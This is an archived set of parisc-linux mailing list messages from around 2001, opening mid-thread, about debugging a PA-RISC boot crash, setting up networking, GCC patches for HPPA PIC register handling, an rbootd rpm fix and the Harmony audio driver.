the palo Makefile.


> Can you give me a short explanation of this dump. 
> On the HP I don't know the registers (on intel I do !).
> Which describes the instrunction pointer to have a look
> in the System.map. Is this IIR ?

IOAQ. GR02 is the return ptr.
See devresources.hp.com or www.parisc-linux.org for PA 1.1 Arch docs.


> The init I tried (the last attempt) was a fresh build `init'
> from the init-2.77 package with the cross compiler by setting
> the CC= varibale. The build could be done and a check with the
> command `file' described the correct image.

You might try downloading and pulling the init from palinux-v0.5.iso.

> What is this for a problem ???
> 
> I will add the complete boot log below.
> 
> Trying scsi.4.0
> Boot path initialized.
> Attempting to load IPL.
> 
> 
> Hard booted.
> palo ipl root@didymos.pladom1.at Sun Jan 14 12:44:07 CET 2001
> 0/vmlinux 2106807 bytes @ 0x6800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs
> nfsroot=196.1.1.20:/tf
> tpboot/apollo/root console=ttyS0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> 
> Entry 00100150 first 00000000 n 3
> Segment 0 load 00000000 size 288 mediaptr 0x1000
> Segment 1 load 00100000 size 1409924 mediaptr 0x2000
> Segment 2 load 0025a000 size 294912 mediaptr 0x15b000
> branching to kernel entry point 0x00100150
> PDC Console Initialized
> The 32-bit Kernel has started...
> Enabled FP coprocessor
> Free memory starts at: 0xc02cb000
> start_parisc(0x504d70,0x504d70,0x0,0x0)
> PALO command line: 'HOME=/ TERM=linux root=/dev/nfs
> nfsroot=196.1.1.20:/tftpboot
> /apollo/root console=ttyS0'
> PALO initrd 0-0
> model   00002000 00000481 00000000 00000000 0234072e 000011f4 00000004
> 0000000d 
> 00000000
> vers    00000003
> CPUID   vers 0 rev 0
> model   9000/720
> led_init: CPU_HVERSION 200
> Searching for devices in PDC firmware... processor hpa 0xfffbe000
>  an older box...
> Found devices:
> 1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,
> 0x0
> 2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
> 3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
> 4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,
> 0x0, 0x0
> 5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
> 6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0,
> 0x0
> 7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0,
> 0x0
> 8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,
> 0x0, 0x0
> 9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
> 10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
> That's a total of 10 devices.
> CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
> Linux version 2.4.0-test10 (root@didymos.pladom1.at) (gcc version 2.96
> 20000925 
> (experimental)) #2 Sun Jan 14 13:11:36 CET 2001
> free_bootmem(0x2cb800, 0x3d34800)
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 16384
> zone(0): 8192 pages.
> zone(1): 8192 pages.
> zone(2): 0 pages.
> Kernel command line: HOME=/ TERM=linux root=/dev/nfs
> nfsroot=196.1.1.20:/tftpboot/apollo/root console=ttyS0
> trap_init
> Error reading tod clock
> Calibrating delay loop... 49.77 BogoMIPS
> Memory: 61512k available
> Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> LED (ASP-style) display at 00000000 registered
> Found i82596 at 0xf0826000, IRQ 87
> early initialization of device eth0 is deferred
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> loop: enabling 8 loop devices
> 82596.c: MAC of HP700 LAN blindely read from the prom!
> eth0: Couldn't get consistent shared memory
> eth0: 82596 at 0xf0826000, 08 00 09 24 64 06 IRQ 87.
> 82596.c $Revision: 1.14 $
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
> SERIAL_PCI ena
> bled
> ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: WARNING: target data areas are not dma coherent!
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
> scsi0: Unable to abort command for target 0
> scsi0: Unable to send Bus Device Reset for target 0
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
> scsi0: Failing command for ID0
> scsi0: Unable to abort command for target 0
> scsi0: Unable to abort command for target 1
> scsi0: Unable to send Bus Device Reset for target 1
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
> scsi0: Failing command for ID0
>   Vendor: SEAGATE   Model: ST1480   SUN0424  Rev: 7516
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: QUANTUM   Model: PD425S            Rev: 535A
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
> Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
> SCSI device sda: 843284 512-byte hdwr sectors (432 MB)
> Partition check:
>  sda: unknown partition table
> SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)
>  sdb: unknown partition table
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 4096 bind 4096)
> eth0: link ok.
> Sending BOOTP requests.... OK
> IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.110
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> kmem_create: Forcing size word alignment - nfs_fh
> Looking up port of RPC 100003/2 on 196.1.1.20
> Looking up port of RPC 100005/2 on 196.1.1.20
> VFS: Mounted root (nfs filesystem) readonly.
> Warning: unable to open an initial console.
> 
> handle_interruption() pid=1 command='init'
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001000000100001011
> r0-3     00000000 40019b48 40002dfb 40001504
> r4-7     40019b48 40000384 4000ec30 400198f4
> r8-11    bb000148 40002d4c 400002f4 00000000
> r12-15   00000081 00000080 bb0002f0 bb000048
> r16-19   00000000 c02a0640 00000000 40019b48
> r20-23   00000041 40000000 40000000 00000000
> r24-27   40000000 00000001 bb000148 c011a800
> r28-31   00000021 bb000148 bb0003c0 40002daf
> sr0-3    00000000 00000000 00000000 0000ffff
> sr4-7    00000001 00000001 00000001 00000001
> 
> IASQ: 00000001 00000001 IAOQ: 40003393 40003397
>  IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
> ORIG_R28: 00000000
> 
> handle_interruption() pid=1 command='init'
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001000000100001011
> r0-3     00000000 40019b48 40002dfb 40001504
> r4-7     40019b48 40000384 4000ec30 400198f4
> r8-11    bb000148 40002d4c 400002f4 00000000
> r12-15   00000081 00000080 bb0002f0 bb000048
> r16-19   00000000 c02a0640 00000000 40019b48
> r20-23   00000041 40000000 40000000 00000000
> r24-27   40000000 00000001 bb000148 c011a800
> r28-31   00000021 bb000148 bb0003c0 40002daf
> sr0-3    00000000 00000000 00000000 0000ffff
> sr4-7    00000001 00000001 00000001 00000001
> 
> IASQ: 00000001 00000001 IAOQ: 40003393 40003397
>  IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
> ORIG_R28: 00000000
> 
> :
> :
> : ... and so on ...
> 
> 
> 
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I'm having a couple problems
Date: Tue, 16 Jan 2001 21:09:17 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200101170509.VAA12498@milano.cup.hp.com>
References: <3A64D1BC3C8.29B5JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619545 10524 80.91.229.3 (22 Nov 2014 01:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: grundler@cup.hp.com  Tue Jan 16 22:03:45 2001
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA15497
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 22:03:45 -0700
Original-Received: (qmail 7167 invoked by uid 15267); 17 Jan 2001 05:07:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7157 invoked from network); 17 Jan 2001 05:07:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 05:07:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 3C92B17D; Tue, 16 Jan 2001 21:07:27 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA12498;
	Tue, 16 Jan 2001 21:09:18 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 16 Jan 2001 16:57:00 PST."
             <3A64D1BC3C8.29B5JCARLSON@smtp.macalester.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9242

Josiah Carlson wrote:
...
> How do I get _actual_ r/w access to the volume that the system boots
> from?

Clean filesystem and fstab enty corresponds to the root filesystem.
You need to post more info on this I think.
Start with a console log up to login prompt.

> 2. How do I set up the ethernet interface within parisc-linux?  I've
> never done this manually (always let redhat and netbsd do it's thing).

ifconfig and route commands.
Or edit /etc/net/interfaces and use ifup and ifdown commands.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 22:26:11 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <22177.979709171@upchuck.cygnus.com>
References: <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619546 10527 80.91.229.3 (22 Nov 2014 01:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:46 +0000 (UTC)
Cc: Richard Henderson <rth@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Tue Jan 16 22:20:23 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA16000
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 22:20:23 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA07430
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 21:24:03 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0H5QCt22178;
	Tue, 16 Jan 2001 22:26:12 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Tue, 16 Jan 2001 20:28:12 +1100.
             <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9243



  In message <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>yo
u write:
  > On Mon, 15 Jan 2001, Richard Henderson wrote:
  > 
  > > On Tue, Jan 16, 2001 at 12:20:19PM +1100, Alan Modra wrote:
  > > > 	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_statu
  > s,
  > > > 	pa_init_expanders): New functions.
  > > 
  > > You need a mark_machine_status function.  It is also much better
  > > to set the global variables once in override_options than for
  > > every function in init_expanders.
Actually, just to be clear, we don't want to do this initialization
in the override_options since we're generating a register!  We need to
do that for each function!

  > gcc/ChangeLog
  > 	* config/pa/pa.h (PIC_OFFSET_TABLE_REGNUM_SAVED): Remove.
  > 	(machine_function): Define.
  > 	(PIC_OFFSET_TABLE_SAVE_RTX) : Define.
  > 	* config/pa/pa.c (pa_init_machine_status, pa_mark_machine_status,
  > 	pa_free_machine_status): New functions.
  > 	(override_options): Set {init,mark,free}_machine_status to above.
  > 	(hppa_expand_prologue): Use PIC_OFFSET_TABLE_SAVE_RTX instead of
  > 	PIC_OFFSET_TABLE_REGNUM_SAVED.
  > 	* config/pa/pa.md: Use PIC_OFFSET_TABLE_SAVE_RTX instead of
  > 	PIC_OFFSET_TABLE_REGNUM_SAVED throughout.
  > 	* config/pa/pa32-regs.h (CONDITIONAL_REGISTER_USAGE): Remove
  > 	references to PIC_OFFSET_TABLE_REGNUM_SAVED.
  > 	* config/pa/pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.
I've installed this patch.

Jeff


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fixed rbootd rpm
Date: Mon, 31 May 1999 16:06:35 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990531160609.3075E-100000@devserv.devel.redhat.com>
References: <Pine.LNX.4.10.9905291722110.10636-100000@supserv.support.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619546 10530 80.91.229.3 (22 Nov 2014 01:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "mgalgoci@redhat.com" <mgalgoci@redhat.com>
Original-X-From: adevries@redhat.com  Mon May 31 14:06:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA06511
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 May 1999 14:06:42 -0600
Original-Received: (qmail 31442 invoked by uid 15267); 31 May 1999 20:06:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31435 invoked from network); 31 May 1999 20:06:02 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 31 May 1999 20:06:02 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id QAA06343;
	Mon, 31 May 1999 16:06:35 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <Pine.LNX.4.10.9905291722110.10636-100000@supserv.support.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9244


Mailing it to me (or just make it readable in your home directory at
redhat.com) is the best way.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team


On Sat, 29 May 1999, mgalgoci@redhat.com wrote:

> 
> Hi folks
> 	I downloaded the rbootd rpm ftp the puffin site and 
> found that the source rpm did not build properly on Red Hat
> 6.0, so I fixed it. To whom or to where should I send the fixed
> binary and source rpms?
> 
> Cheers,
> 
> Matt
> 
> --
>  Matt Galgoci /////////////////////////////////// "Moo?"
>  Honorary Member of Generation Why. /////////////////// 
>  //////////////////////////////////////////////////////
>  Man....you smell like penguin.         Yes, have some. 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 22:30:36 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <22207.979709436@upchuck.cygnus.com>
References: <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619546 10534 80.91.229.3 (22 Nov 2014 01:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:46 +0000 (UTC)
Cc: Richard Henderson <rth@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Tue Jan 16 22:24:45 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA16310
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 22:24:45 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA07718
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 21:28:27 -0800 (PST)
Original-Received: from upchuck.cygnus.com (law@localhost)
	by upchuck.cygnus.com (8.11.0/8.8.7) with ESMTP id f0H5Uag22208;
	Tue, 16 Jan 2001 22:30:36 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Tue, 16 Jan 2001 20:28:12 +1100.
             <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9245

 In message <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>yo
u write:
  > +  if (flag_pic
  > +      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
  > +	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
  > +    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
  >  		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
I do have a question about this particular hunk of code.

I can't think of a condition where PIC_OFFSET_TABLE_SAVE_RTX would not be
a reg when this code was executed.  Simlarly I can't think of a case where
it would be a hard reg.

I think we should just emit the insn unconditionally unless you're aware
of some reason we can't shouldn't.

We're probably also going to need to emit a use of the %r19 and maybe %r27
on the return insns to ensure the pic register is restored after the
final call in any given function.

jeff


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi harmony driver with mixer
Date: Wed, 17 Jan 2001 00:46:06 -0500
Organization: The Puffins at Linuxcare
Lines: 27
Approved: news@gmane.org
Message-ID: <3A65319E.5B312160@linuxcare.com>
References: <3A64D26B.B99BAE70@esiee.fr> <20010116231823.K20275@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619547 10538 80.91.229.3 (22 Nov 2014 01:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:47 +0000 (UTC)
Cc: Matthieu Delahaye <delahaym@esiee.fr>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alex@linuxcare.com  Tue Jan 16 22:37:22 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA16739
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 22:37:22 -0700
Original-Received: (qmail 8774 invoked by uid 15267); 17 Jan 2001 05:41:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8763 invoked from network); 17 Jan 2001 05:41:04 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 05:41:04 -0000
Original-Received: (qmail 12662 invoked from network); 17 Jan 2001 05:41:06 -0000
Original-Received: from hse-ottawa-ppp157453.sympatico.ca (HELO linuxcare.com) (adevries@64.229.130.124)
  by smtp.linuxcare.com with SMTP; 17 Jan 2001 05:41:06 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9246

Matthew Wilcox wrote:
> 
> afair, prumpf had his harmony driver working on the 715/scorpio.  perhaps
> by looking at his source you could see what is missing?

I started harmony.c with the latest version of prumpf's driver, which
really didn't do anything at all.  I checked every tree I could find
(including his trees on sourceforge),
but the only one I found may have at one point played a hard coded
file.  There's not a lot left of it in my driver.  I definitely couldn't
get it to work on a 712, let alone a 715/old.

The audio HPA on the 715/old is way out of bounds for it to be a part of
Lasi or ASP, so it looks like another audio chip.  It doesn't have the
right ID register, and doesn't respond to any setup attempts.

Matthieu, it's good to hear about the gain control patches.  Now go sort
out the 16 bit audio format problem! :)

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 00:59:49 -0500 (EST)
Lines: 94
Approved: news@gmane.org
Message-ID: <200101170559.AAA24936@hiauly1.hia.nrc.ca>
References: <22207.979709436@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619547 10545 80.91.229.3 (22 Nov 2014 01:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:47 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan 16 22:56:39 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA17142
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 22:56:29 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id AAA24936;
	Wed, 17 Jan 2001 00:59:50 -0500 (EST)
In-Reply-To: <22207.979709436@upchuck.cygnus.com> from "Jeffrey A Law" at Jan 16, 2001 10:30:36 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9247

> 
>  In message <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>yo
> u write:
>   > +  if (flag_pic
>   > +      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
>   > +	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
>   > +    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
>   >  		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
> I do have a question about this particular hunk of code.
> 
> I can't think of a condition where PIC_OFFSET_TABLE_SAVE_RTX would not be
> a reg when this code was executed.  Simlarly I can't think of a case where
> it would be a hard reg.
> 
> I think we should just emit the insn unconditionally unless you're aware
> of some reason we can't shouldn't.

I am fairly certain that it is being emitted (see email from a couple
hours ago about ICE warning).  As I understand it, the reason we don't
emit it unconditionally is that insns can't be deleted in the prologue,
so we try not to emit it if it isn't needed.

> We're probably also going to need to emit a use of the %r19 and maybe %r27
> on the return insns to ensure the pic register is restored after the
> final call in any given function.

Yup.

I am currently running a bootstrap with the following additional patch.
I reverted to EPILOGUE_USES because I have the feeling that there are
problems with putting the use in the return insn.  See the last test
results which I posted yesterday at
<http://gcc.gnu.org/ml/gcc-testresults/2001-01/msg00204.html>.

The results were done with a stock built except for reverting the call
used patch for the PIC_OFFSET_TABLE_REGNUM_SAVED register.  A previous
run using EPILOGUE_USES rather than the use in the trivial return had
much better results.  However, it is possible the problem is elsewhere.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2001-01-17  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.h (EPILOGUE_USES): Define.  The epilogue uses the return pointer
	and when generating pic code the pic offset table register.
	* pa.md (return, return_internal): Rework.

--- pa.h.save	Tue Jan 16 18:08:18 2001
+++ pa.h	Tue Jan 16 23:44:08 2001
@@ -500,7 +500,7 @@
 #define PIC_OFFSET_TABLE_REGNUM (TARGET_64BIT ? 27 : 19)
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
-/* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
+/* Register into which we save the PIC_OFFSET_TABLE_REGNUM so that it
    can be restored across function calls.  */
 #define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 
@@ -918,6 +918,9 @@
 #define FUNCTION_EPILOGUE(FILE, SIZE)			\
   output_function_epilogue (FILE, SIZE)
 
+#define EPILOGUE_USES(REGNO) \
+  ((REGNO) == 2 || (flag_pic && (REGNO) == PIC_OFFSET_TABLE_REGNUM))
+
 /* Output assembler code for a block containing the constant parts
    of a trampoline, leaving space for the variable parts.\
 
--- pa.md.save	Tue Jan 16 18:08:21 2001
+++ pa.md	Tue Jan 16 18:11:02 2001
@@ -5467,9 +5467,7 @@
 ;; Unconditional and other jump instructions.
 
 (define_insn "return"
-  [(return)
-   (use (reg:SI 2))
-   (const_int 0)]
+  [(return)]
   "hppa_can_use_return_insn_p ()"
   "*
 {
@@ -5485,7 +5483,7 @@
 (define_insn "return_internal"
   [(return)
    (use (reg:SI 2))
-   (const_int 1)]
+   (const_int 0)]
   ""
   "*
 {


From - Thu Nov 08 21:15:11 2018
